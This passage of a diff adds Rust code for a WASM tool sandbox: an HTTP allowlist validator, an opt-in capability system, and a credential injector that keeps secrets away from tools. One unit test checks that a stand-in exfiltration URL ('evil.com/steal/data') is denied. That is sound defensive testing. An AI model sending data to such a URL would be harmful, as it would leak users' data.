self.patterns.iter().any(|p| p.host_matches(host))
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Get all allowed hosts (for debugging/logging).
|
||||||
|
pub fn allowed_hosts(&self) -> Vec<&str> {
|
||||||
|
self.patterns.iter().map(|p| p.host.as_str()).collect()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Parsed URL components.
|
||||||
|
struct ParsedUrl {
|
||||||
|
scheme: String,
|
||||||
|
host: String,
|
||||||
|
path: String,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Simple URL parser (avoids pulling in a full URL crate).
|
||||||
|
fn parse_url(url: &str) -> Result<ParsedUrl, String> {
|
||||||
|
// Find scheme
|
||||||
|
let (scheme, rest) = url
|
||||||
|
.split_once("://")
|
||||||
|
.ok_or_else(|| "Missing scheme (expected http:// or https://)".to_string())?;
|
||||||
|
|
||||||
|
let scheme = scheme.to_lowercase();
|
||||||
|
if scheme != "http" && scheme != "https" {
|
||||||
|
return Err(format!("Unsupported scheme: {}", scheme));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Split host from path
|
||||||
|
let (host_and_port, path) = match rest.find('/') {
|
||||||
|
Some(idx) => (&rest[..idx], &rest[idx..]),
|
||||||
|
None => (rest, "/"),
|
||||||
|
};
|
||||||
|
|
||||||
|
// Remove port from host
|
||||||
|
let host = match host_and_port.rfind(':') {
|
||||||
|
Some(idx) => {
|
||||||
|
// Make sure this isn't an IPv6 address
|
||||||
|
if host_and_port.starts_with('[') {
|
||||||
|
// IPv6: [::1]:8080 or [::1]
|
||||||
|
if let Some(bracket_idx) = host_and_port.find(']') {
|
||||||
|
// Extract the IPv6 address without brackets
|
||||||
|
&host_and_port[1..bracket_idx]
|
||||||
|
} else {
|
||||||
|
return Err("Invalid IPv6 address".to_string());
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
&host_and_port[..idx]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
None => host_and_port,
|
||||||
|
};
|
||||||
|
|
||||||
|
// Validate host
|
||||||
|
if host.is_empty() {
|
||||||
|
return Err("Empty host".to_string());
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(ParsedUrl {
|
||||||
|
scheme,
|
||||||
|
host: host.to_lowercase(),
|
||||||
|
path: path.to_string(),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use crate::tools::wasm::allowlist::{AllowlistValidator, DenyReason};
|
||||||
|
use crate::tools::wasm::capabilities::EndpointPattern;
|
||||||
|
|
||||||
|
fn validator_with_patterns() -> AllowlistValidator {
|
||||||
|
AllowlistValidator::new(vec![
|
||||||
|
EndpointPattern::host("api.openai.com").with_path_prefix("/v1/"),
|
||||||
|
EndpointPattern::host("api.anthropic.com")
|
||||||
|
.with_path_prefix("/v1/messages")
|
||||||
|
.with_methods(vec!["POST".to_string()]),
|
||||||
|
EndpointPattern::host("*.example.com"),
|
||||||
|
])
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_allowed_request() {
|
||||||
|
let validator = validator_with_patterns();
|
||||||
|
|
||||||
|
let result = validator.validate("https://api.openai.com/v1/chat/completions", "POST");
|
||||||
|
assert!(result.is_allowed());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_denied_wrong_host() {
|
||||||
|
let validator = validator_with_patterns();
|
||||||
|
|
||||||
|
let result = validator.validate("https://evil.com/steal/data", "GET");
|
||||||
|
assert!(!result.is_allowed());
|
||||||
|
|
||||||
|
if let super::AllowlistResult::Denied(reason) = result {
|
||||||
|
assert!(matches!(reason, DenyReason::HostNotAllowed(_)));
|
||||||
|
} else {
|
||||||
|
panic!("Expected denied");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_denied_wrong_path() {
|
||||||
|
let validator = validator_with_patterns();
|
||||||
|
|
||||||
|
let result = validator.validate("https://api.openai.com/v2/different", "GET");
|
||||||
|
assert!(!result.is_allowed());
|
||||||
|
|
||||||
|
if let super::AllowlistResult::Denied(reason) = result {
|
||||||
|
assert!(matches!(reason, DenyReason::PathNotAllowed { .. }));
|
||||||
|
} else {
|
||||||
|
panic!("Expected denied");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_denied_wrong_method() {
|
||||||
|
let validator = validator_with_patterns();
|
||||||
|
|
||||||
|
// Anthropic endpoint only allows POST
|
||||||
|
let result = validator.validate("https://api.anthropic.com/v1/messages", "GET");
|
||||||
|
assert!(!result.is_allowed());
|
||||||
|
|
||||||
|
if let super::AllowlistResult::Denied(reason) = result {
|
||||||
|
assert!(matches!(reason, DenyReason::MethodNotAllowed { .. }));
|
||||||
|
} else {
|
||||||
|
panic!("Expected denied");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_wildcard_host() {
|
||||||
|
let validator = validator_with_patterns();
|
||||||
|
|
||||||
|
let result = validator.validate("https://api.example.com/anything", "GET");
|
||||||
|
assert!(result.is_allowed());
|
||||||
|
|
||||||
|
let result = validator.validate("https://sub.api.example.com/anything", "GET");
|
||||||
|
assert!(result.is_allowed());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_require_https() {
|
||||||
|
let validator = validator_with_patterns();
|
||||||
|
|
||||||
|
let result = validator.validate("http://api.openai.com/v1/chat", "GET");
|
||||||
|
assert!(!result.is_allowed());
|
||||||
|
|
||||||
|
if let super::AllowlistResult::Denied(reason) = result {
|
||||||
|
assert!(matches!(reason, DenyReason::InsecureScheme(_)));
|
||||||
|
} else {
|
||||||
|
panic!("Expected denied");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_allow_http() {
|
||||||
|
let validator = validator_with_patterns().allow_http();
|
||||||
|
|
||||||
|
let result = validator.validate("http://api.example.com/test", "GET");
|
||||||
|
assert!(result.is_allowed());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_empty_allowlist() {
|
||||||
|
let validator = AllowlistValidator::new(vec![]);
|
||||||
|
|
||||||
|
let result = validator.validate("https://anything.com/", "GET");
|
||||||
|
assert!(!result.is_allowed());
|
||||||
|
|
||||||
|
if let super::AllowlistResult::Denied(reason) = result {
|
||||||
|
assert!(matches!(reason, DenyReason::EmptyAllowlist));
|
||||||
|
} else {
|
||||||
|
panic!("Expected denied");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_invalid_url() {
|
||||||
|
let validator = validator_with_patterns();
|
||||||
|
|
||||||
|
let result = validator.validate("not-a-url", "GET");
|
||||||
|
assert!(!result.is_allowed());
|
||||||
|
|
||||||
|
if let super::AllowlistResult::Denied(reason) = result {
|
||||||
|
assert!(matches!(reason, DenyReason::InvalidUrl(_)));
|
||||||
|
} else {
|
||||||
|
panic!("Expected denied");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_url_with_port() {
|
||||||
|
let validator =
|
||||||
|
AllowlistValidator::new(vec![EndpointPattern::host("localhost")]).allow_http();
|
||||||
|
|
||||||
|
let result = validator.validate("http://localhost:8080/api", "GET");
|
||||||
|
assert!(result.is_allowed());
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,423 @@
|
|||||||
|
//! Extended capabilities for WASM sandbox.
|
||||||
|
//!
|
||||||
|
//! Defines the capability system that controls what a WASM tool can do.
|
||||||
|
//! All capabilities are opt-in; tools have NO access by default.
|
||||||
|
//!
|
||||||
|
//! # Capability Types
|
||||||
|
//!
|
||||||
|
//! - **Workspace**: Read files from the agent's workspace
|
||||||
|
//! - **HTTP**: Make HTTP requests to allowlisted endpoints
|
||||||
|
//! - **ToolInvoke**: Call other tools via aliases
|
||||||
|
//! - **Secrets**: Check if secrets exist (never read values)
|
||||||
|
|
||||||
|
use std::collections::HashMap;
|
||||||
|
use std::sync::Arc;
|
||||||
|
use std::time::Duration;
|
||||||
|
|
||||||
|
use serde::{Deserialize, Serialize};
|
||||||
|
|
||||||
|
use crate::secrets::CredentialMapping;
|
||||||
|
|
||||||
|
/// All capabilities that can be granted to a WASM tool.
|
||||||
|
///
|
||||||
|
/// By default, all capabilities are `None` (disabled).
|
||||||
|
/// Each must be explicitly granted.
|
||||||
|
#[derive(Debug, Clone, Default)]
|
||||||
|
pub struct Capabilities {
|
||||||
|
/// Read files from workspace.
|
||||||
|
pub workspace_read: Option<WorkspaceCapability>,
|
||||||
|
/// Make HTTP requests.
|
||||||
|
pub http: Option<HttpCapability>,
|
||||||
|
/// Invoke other tools.
|
||||||
|
pub tool_invoke: Option<ToolInvokeCapability>,
|
||||||
|
/// Check if secrets exist.
|
||||||
|
pub secrets: Option<SecretsCapability>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Capabilities {
|
||||||
|
/// Create capabilities with no permissions.
|
||||||
|
pub fn none() -> Self {
|
||||||
|
Self::default()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Enable workspace read with the given allowed prefixes.
|
||||||
|
pub fn with_workspace_read(mut self, prefixes: Vec<String>) -> Self {
|
||||||
|
self.workspace_read = Some(WorkspaceCapability {
|
||||||
|
allowed_prefixes: prefixes,
|
||||||
|
reader: None,
|
||||||
|
});
|
||||||
|
self
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Enable HTTP requests with the given configuration.
|
||||||
|
pub fn with_http(mut self, http: HttpCapability) -> Self {
|
||||||
|
self.http = Some(http);
|
||||||
|
self
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Enable tool invocation with the given aliases.
|
||||||
|
pub fn with_tool_invoke(mut self, aliases: HashMap<String, String>) -> Self {
|
||||||
|
self.tool_invoke = Some(ToolInvokeCapability {
|
||||||
|
aliases,
|
||||||
|
rate_limit: RateLimitConfig::default(),
|
||||||
|
});
|
||||||
|
self
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Enable secret existence checks.
|
||||||
|
pub fn with_secrets(mut self, allowed: Vec<String>) -> Self {
|
||||||
|
self.secrets = Some(SecretsCapability {
|
||||||
|
allowed_names: allowed,
|
||||||
|
});
|
||||||
|
self
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Workspace read capability configuration.
|
||||||
|
#[derive(Clone, Default)]
|
||||||
|
pub struct WorkspaceCapability {
|
||||||
|
/// Allowed path prefixes (e.g., ["context/", "daily/"]).
|
||||||
|
/// Empty means all paths allowed (within safety constraints).
|
||||||
|
pub allowed_prefixes: Vec<String>,
|
||||||
|
/// Function to actually read from workspace.
|
||||||
|
/// This is injected by the runtime to avoid coupling to workspace impl.
|
||||||
|
pub reader: Option<Arc<dyn WorkspaceReader>>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl std::fmt::Debug for WorkspaceCapability {
|
||||||
|
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||||
|
f.debug_struct("WorkspaceCapability")
|
||||||
|
.field("allowed_prefixes", &self.allowed_prefixes)
|
||||||
|
.field("reader", &self.reader.is_some())
|
||||||
|
.finish()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Trait for reading from workspace (allows mocking in tests).
|
||||||
|
pub trait WorkspaceReader: Send + Sync {
|
||||||
|
fn read(&self, path: &str) -> Option<String>;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// HTTP request capability configuration.
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
pub struct HttpCapability {
|
||||||
|
/// Allowed endpoint patterns.
|
||||||
|
pub allowlist: Vec<EndpointPattern>,
|
||||||
|
/// Credential mappings (secret name -> injection location).
|
||||||
|
pub credentials: HashMap<String, CredentialMapping>,
|
||||||
|
/// Rate limiting configuration.
|
||||||
|
pub rate_limit: RateLimitConfig,
|
||||||
|
/// Maximum request body size in bytes.
|
||||||
|
pub max_request_bytes: usize,
|
||||||
|
/// Maximum response body size in bytes.
|
||||||
|
pub max_response_bytes: usize,
|
||||||
|
/// Request timeout.
|
||||||
|
pub timeout: Duration,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Default for HttpCapability {
|
||||||
|
fn default() -> Self {
|
||||||
|
Self {
|
||||||
|
allowlist: Vec::new(),
|
||||||
|
credentials: HashMap::new(),
|
||||||
|
rate_limit: RateLimitConfig::default(),
|
||||||
|
max_request_bytes: 1024 * 1024, // 1 MB
|
||||||
|
max_response_bytes: 10 * 1024 * 1024, // 10 MB
|
||||||
|
timeout: Duration::from_secs(30),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl HttpCapability {
|
||||||
|
/// Create a new HTTP capability with an allowlist.
|
||||||
|
pub fn new(allowlist: Vec<EndpointPattern>) -> Self {
|
||||||
|
Self {
|
||||||
|
allowlist,
|
||||||
|
..Default::default()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Add a credential mapping.
|
||||||
|
pub fn with_credential(mut self, name: impl Into<String>, mapping: CredentialMapping) -> Self {
|
||||||
|
self.credentials.insert(name.into(), mapping);
|
||||||
|
self
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Set rate limiting.
|
||||||
|
pub fn with_rate_limit(mut self, rate_limit: RateLimitConfig) -> Self {
|
||||||
|
self.rate_limit = rate_limit;
|
||||||
|
self
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Set request timeout.
|
||||||
|
pub fn with_timeout(mut self, timeout: Duration) -> Self {
|
||||||
|
self.timeout = timeout;
|
||||||
|
self
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Set max request body size.
|
||||||
|
pub fn with_max_request_bytes(mut self, bytes: usize) -> Self {
|
||||||
|
self.max_request_bytes = bytes;
|
||||||
|
self
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Set max response body size.
|
||||||
|
pub fn with_max_response_bytes(mut self, bytes: usize) -> Self {
|
||||||
|
self.max_response_bytes = bytes;
|
||||||
|
self
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Pattern for matching allowed HTTP endpoints.
|
||||||
|
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||||
|
pub struct EndpointPattern {
|
||||||
|
/// Hostname pattern (e.g., "api.example.com", "*.example.com").
|
||||||
|
pub host: String,
|
||||||
|
/// Path prefix (e.g., "/v1/", "/api/").
|
||||||
|
pub path_prefix: Option<String>,
|
||||||
|
/// Allowed HTTP methods (empty = all methods allowed).
|
||||||
|
pub methods: Vec<String>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl EndpointPattern {
|
||||||
|
/// Create a pattern for a specific host.
|
||||||
|
pub fn host(host: impl Into<String>) -> Self {
|
||||||
|
Self {
|
||||||
|
host: host.into(),
|
||||||
|
path_prefix: None,
|
||||||
|
methods: Vec::new(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Add a path prefix constraint.
|
||||||
|
pub fn with_path_prefix(mut self, prefix: impl Into<String>) -> Self {
|
||||||
|
self.path_prefix = Some(prefix.into());
|
||||||
|
self
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Restrict to specific HTTP methods.
|
||||||
|
pub fn with_methods(mut self, methods: Vec<String>) -> Self {
|
||||||
|
self.methods = methods;
|
||||||
|
self
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Check if this pattern matches a URL and method.
|
||||||
|
pub fn matches(&self, url_host: &str, url_path: &str, method: &str) -> bool {
|
||||||
|
// Check host
|
||||||
|
if !self.host_matches(url_host) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check path prefix
|
||||||
|
if let Some(ref prefix) = self.path_prefix {
|
||||||
|
if !url_path.starts_with(prefix) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check method
|
||||||
|
if !self.methods.is_empty() {
|
||||||
|
let method_upper = method.to_uppercase();
|
||||||
|
if !self
|
||||||
|
.methods
|
||||||
|
.iter()
|
||||||
|
.any(|m| m.to_uppercase() == method_upper)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
true
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Check if host pattern matches (public for allowlist validation).
|
||||||
|
pub fn host_matches(&self, url_host: &str) -> bool {
|
||||||
|
if self.host == url_host {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Support wildcard: *.example.com matches sub.example.com
|
||||||
|
if let Some(suffix) = self.host.strip_prefix("*.") {
|
||||||
|
if url_host.ends_with(suffix) && url_host.len() > suffix.len() {
|
||||||
|
// Ensure there's a dot before the suffix (or it's the whole thing)
|
||||||
|
let prefix = &url_host[..url_host.len() - suffix.len()];
|
||||||
|
if prefix.ends_with('.') || prefix.is_empty() {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Tool invocation capability.
|
||||||
|
#[derive(Debug, Clone, Default)]
|
||||||
|
pub struct ToolInvokeCapability {
|
||||||
|
/// Mapping from alias to real tool name.
|
||||||
|
/// WASM calls tools by alias, never by real name.
|
||||||
|
pub aliases: HashMap<String, String>,
|
||||||
|
/// Rate limiting for tool calls.
|
||||||
|
pub rate_limit: RateLimitConfig,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl ToolInvokeCapability {
|
||||||
|
/// Create with a set of aliases.
|
||||||
|
pub fn new(aliases: HashMap<String, String>) -> Self {
|
||||||
|
Self {
|
||||||
|
aliases,
|
||||||
|
rate_limit: RateLimitConfig::default(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Resolve an alias to a real tool name.
|
||||||
|
pub fn resolve_alias(&self, alias: &str) -> Option<&str> {
|
||||||
|
self.aliases.get(alias).map(|s| s.as_str())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Secrets capability (existence check only).
|
||||||
|
#[derive(Debug, Clone, Default)]
|
||||||
|
pub struct SecretsCapability {
|
||||||
|
/// Secret names this tool can check existence of.
|
||||||
|
/// Supports glob: "openai_*" matches "openai_key", "openai_org".
|
||||||
|
pub allowed_names: Vec<String>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl SecretsCapability {
|
||||||
|
/// Check if a secret name is allowed.
|
||||||
|
pub fn is_allowed(&self, name: &str) -> bool {
|
||||||
|
for pattern in &self.allowed_names {
|
||||||
|
if pattern == name {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
if let Some(prefix) = pattern.strip_suffix('*') {
|
||||||
|
if name.starts_with(prefix) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Rate limiting configuration.
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
pub struct RateLimitConfig {
|
||||||
|
/// Maximum requests per minute.
|
||||||
|
pub requests_per_minute: u32,
|
||||||
|
/// Maximum requests per hour.
|
||||||
|
pub requests_per_hour: u32,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Default for RateLimitConfig {
|
||||||
|
fn default() -> Self {
|
||||||
|
Self {
|
||||||
|
requests_per_minute: 60,
|
||||||
|
requests_per_hour: 1000,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl RateLimitConfig {
|
||||||
|
/// Create a restrictive rate limit.
|
||||||
|
pub fn restrictive() -> Self {
|
||||||
|
Self {
|
||||||
|
requests_per_minute: 10,
|
||||||
|
requests_per_hour: 100,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Create a permissive rate limit.
|
||||||
|
pub fn permissive() -> Self {
|
||||||
|
Self {
|
||||||
|
requests_per_minute: 120,
|
||||||
|
requests_per_hour: 5000,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use crate::tools::wasm::capabilities::{Capabilities, EndpointPattern, SecretsCapability};
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_capabilities_default_is_none() {
|
||||||
|
let caps = Capabilities::default();
|
||||||
|
assert!(caps.workspace_read.is_none());
|
||||||
|
assert!(caps.http.is_none());
|
||||||
|
assert!(caps.tool_invoke.is_none());
|
||||||
|
assert!(caps.secrets.is_none());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_endpoint_pattern_exact_host() {
|
||||||
|
let pattern = EndpointPattern::host("api.example.com");
|
||||||
|
|
||||||
|
assert!(pattern.matches("api.example.com", "/", "GET"));
|
||||||
|
assert!(!pattern.matches("other.example.com", "/", "GET"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_endpoint_pattern_wildcard_host() {
|
||||||
|
let pattern = EndpointPattern::host("*.example.com");
|
||||||
|
|
||||||
|
assert!(pattern.matches("api.example.com", "/", "GET"));
|
||||||
|
assert!(pattern.matches("sub.api.example.com", "/", "GET"));
|
||||||
|
assert!(!pattern.matches("example.com", "/", "GET"));
|
||||||
|
assert!(!pattern.matches("notexample.com", "/", "GET"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_endpoint_pattern_path_prefix() {
|
||||||
|
let pattern = EndpointPattern::host("api.example.com").with_path_prefix("/v1/");
|
||||||
|
|
||||||
|
assert!(pattern.matches("api.example.com", "/v1/users", "GET"));
|
||||||
|
assert!(pattern.matches("api.example.com", "/v1/", "GET"));
|
||||||
|
assert!(!pattern.matches("api.example.com", "/v2/users", "GET"));
|
||||||
|
assert!(!pattern.matches("api.example.com", "/", "GET"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_endpoint_pattern_methods() {
|
||||||
|
let pattern = EndpointPattern::host("api.example.com")
|
||||||
|
.with_methods(vec!["GET".to_string(), "POST".to_string()]);
|
||||||
|
|
||||||
|
assert!(pattern.matches("api.example.com", "/", "GET"));
|
||||||
|
assert!(pattern.matches("api.example.com", "/", "get")); // case insensitive
|
||||||
|
assert!(pattern.matches("api.example.com", "/", "POST"));
|
||||||
|
assert!(!pattern.matches("api.example.com", "/", "DELETE"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_secrets_capability_exact_match() {
|
||||||
|
let cap = SecretsCapability {
|
||||||
|
allowed_names: vec!["openai_key".to_string()],
|
||||||
|
};
|
||||||
|
|
||||||
|
assert!(cap.is_allowed("openai_key"));
|
||||||
|
assert!(!cap.is_allowed("anthropic_key"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_secrets_capability_glob() {
|
||||||
|
let cap = SecretsCapability {
|
||||||
|
allowed_names: vec!["openai_*".to_string()],
|
||||||
|
};
|
||||||
|
|
||||||
|
assert!(cap.is_allowed("openai_key"));
|
||||||
|
assert!(cap.is_allowed("openai_org"));
|
||||||
|
assert!(!cap.is_allowed("anthropic_key"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_capabilities_builder() {
|
||||||
|
let caps = Capabilities::none()
|
||||||
|
.with_workspace_read(vec!["context/".to_string()])
|
||||||
|
.with_secrets(vec!["test_*".to_string()]);
|
||||||
|
|
||||||
|
assert!(caps.workspace_read.is_some());
|
||||||
|
assert!(caps.secrets.is_some());
|
||||||
|
assert!(caps.http.is_none());
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,429 @@
|
|||||||
|
//! Credential injection for WASM HTTP requests.
|
||||||
|
//!
|
||||||
|
//! Injects secrets into HTTP requests at the host boundary.
|
||||||
|
//! WASM tools NEVER see the actual credential values.
|
||||||
|
//!
|
||||||
|
//! # Injection Flow
|
||||||
|
//!
|
||||||
|
//! ```text
|
||||||
|
//! WASM requests HTTP ──► Host receives request ──► Match credentials by host
|
||||||
|
//! │
|
||||||
|
//! ┌───────────────────┘
|
||||||
|
//! ▼
|
||||||
|
//! Decrypt secret from store
|
||||||
|
//! │
|
||||||
|
//! ▼
|
||||||
|
//! Inject into request:
|
||||||
|
//! ├─► Authorization header (Bearer/Basic)
|
||||||
|
//! ├─► Custom header (X-API-Key, etc.)
|
||||||
|
//! └─► Query parameter
|
||||||
|
//! │
|
||||||
|
//! ▼
|
||||||
|
//! Execute HTTP request
|
||||||
|
//! ```
|
||||||
|
|
||||||
|
use std::collections::HashMap;
|
||||||
|
|
||||||
|
use crate::secrets::{
|
||||||
|
CredentialLocation, CredentialMapping, DecryptedSecret, SecretError, SecretsStore,
|
||||||
|
};
|
||||||
|
|
||||||
|
/// Error during credential injection.
|
||||||
|
#[derive(Debug, Clone, thiserror::Error)]
|
||||||
|
pub enum InjectionError {
|
||||||
|
#[error("Secret not found: {0}")]
|
||||||
|
SecretNotFound(String),
|
||||||
|
|
||||||
|
#[error("Secret access denied: {0}")]
|
||||||
|
AccessDenied(String),
|
||||||
|
|
||||||
|
#[error("Secret has expired: {0}")]
|
||||||
|
SecretExpired(String),
|
||||||
|
|
||||||
|
#[error("Decryption failed: {0}")]
|
||||||
|
DecryptionFailed(String),
|
||||||
|
|
||||||
|
#[error("No matching credential for host: {0}")]
|
||||||
|
NoMatchingCredential(String),
|
||||||
|
}
|
||||||
|
|
||||||
|
impl From<SecretError> for InjectionError {
|
||||||
|
fn from(e: SecretError) -> Self {
|
||||||
|
match e {
|
||||||
|
SecretError::NotFound(name) => InjectionError::SecretNotFound(name),
|
||||||
|
SecretError::Expired => InjectionError::SecretExpired("unknown".to_string()),
|
||||||
|
SecretError::AccessDenied => InjectionError::AccessDenied("unknown".to_string()),
|
||||||
|
SecretError::DecryptionFailed(msg) => InjectionError::DecryptionFailed(msg),
|
||||||
|
_ => InjectionError::DecryptionFailed(e.to_string()),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Result of credential injection.
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub struct InjectedCredentials {
|
||||||
|
/// Headers to add to the request.
|
||||||
|
pub headers: HashMap<String, String>,
|
||||||
|
/// Query parameters to add.
|
||||||
|
pub query_params: HashMap<String, String>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl InjectedCredentials {
|
||||||
|
pub fn empty() -> Self {
|
||||||
|
Self {
|
||||||
|
headers: HashMap::new(),
|
||||||
|
query_params: HashMap::new(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn is_empty(&self) -> bool {
|
||||||
|
self.headers.is_empty() && self.query_params.is_empty()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Injects credentials into HTTP requests.
|
||||||
|
pub struct CredentialInjector {
|
||||||
|
mappings: HashMap<String, CredentialMapping>,
|
||||||
|
allowed_secrets: Vec<String>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl CredentialInjector {
|
||||||
|
/// Create a new injector with the given mappings.
|
||||||
|
pub fn new(mappings: HashMap<String, CredentialMapping>, allowed_secrets: Vec<String>) -> Self {
|
||||||
|
Self {
|
||||||
|
mappings,
|
||||||
|
allowed_secrets,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Find credentials that should be injected for a given host.
|
||||||
|
pub fn find_credentials_for_host(&self, host: &str) -> Vec<&CredentialMapping> {
|
||||||
|
self.mappings
|
||||||
|
.values()
|
||||||
|
.filter(|mapping| {
|
||||||
|
mapping
|
||||||
|
.host_patterns
|
||||||
|
.iter()
|
||||||
|
.any(|pattern| host_matches_pattern(host, pattern))
|
||||||
|
})
|
||||||
|
.collect()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Inject credentials for an HTTP request.
|
||||||
|
///
|
||||||
|
/// Returns the headers and query params to add to the request.
|
||||||
|
pub async fn inject(
|
||||||
|
&self,
|
||||||
|
user_id: &str,
|
||||||
|
host: &str,
|
||||||
|
store: &dyn SecretsStore,
|
||||||
|
) -> Result<InjectedCredentials, InjectionError> {
|
||||||
|
let matching_mappings = self.find_credentials_for_host(host);
|
||||||
|
|
||||||
|
if matching_mappings.is_empty() {
|
||||||
|
// No credentials needed for this host
|
||||||
|
return Ok(InjectedCredentials::empty());
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut result = InjectedCredentials::empty();
|
||||||
|
|
||||||
|
for mapping in matching_mappings {
|
||||||
|
// Check if secret is in allowed list
|
||||||
|
if !self.is_secret_allowed(&mapping.secret_name) {
|
||||||
|
return Err(InjectionError::AccessDenied(mapping.secret_name.clone()));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Get the decrypted secret
|
||||||
|
let secret = store
|
||||||
|
.get_decrypted(user_id, &mapping.secret_name)
|
||||||
|
.await
|
||||||
|
.map_err(|e| match e {
|
||||||
|
SecretError::NotFound(name) => InjectionError::SecretNotFound(name),
|
||||||
|
SecretError::Expired => {
|
||||||
|
InjectionError::SecretExpired(mapping.secret_name.clone())
|
||||||
|
}
|
||||||
|
_ => InjectionError::DecryptionFailed(e.to_string()),
|
||||||
|
})?;
|
||||||
|
|
||||||
|
// Inject based on location
|
||||||
|
inject_credential(&mut result, &mapping.location, &secret);
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(result)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Check if a secret name is in the allowed list.
|
||||||
|
fn is_secret_allowed(&self, name: &str) -> bool {
|
||||||
|
for pattern in &self.allowed_secrets {
|
||||||
|
